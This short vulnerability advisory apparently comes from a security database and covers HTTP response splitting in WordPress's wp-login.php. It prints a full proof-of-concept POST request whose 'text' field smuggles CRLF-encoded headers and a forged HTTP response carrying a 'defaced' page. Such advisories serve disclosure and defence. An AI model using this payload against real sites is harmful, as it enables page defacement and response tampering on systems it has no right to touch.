|
Wordpress Wp-login.PHP HTTP Response Splitting Vulnerability
An exploit is not required to leverage this issue. The following proof of concept is available: POST /wp-login.php HTTP/1.0 Host: HOSTNAME Content-Type: application/x-www-form-urlencoded Content-length: 226 action=login&mode=profile&log=USER&pwd=PASS&text= %0d%0aConnection:%20Keep-Alive%0d%0aContent-Length:%20 0%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length: %2021%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html> *defaced*</html> |
|
|
Privacy Statement |
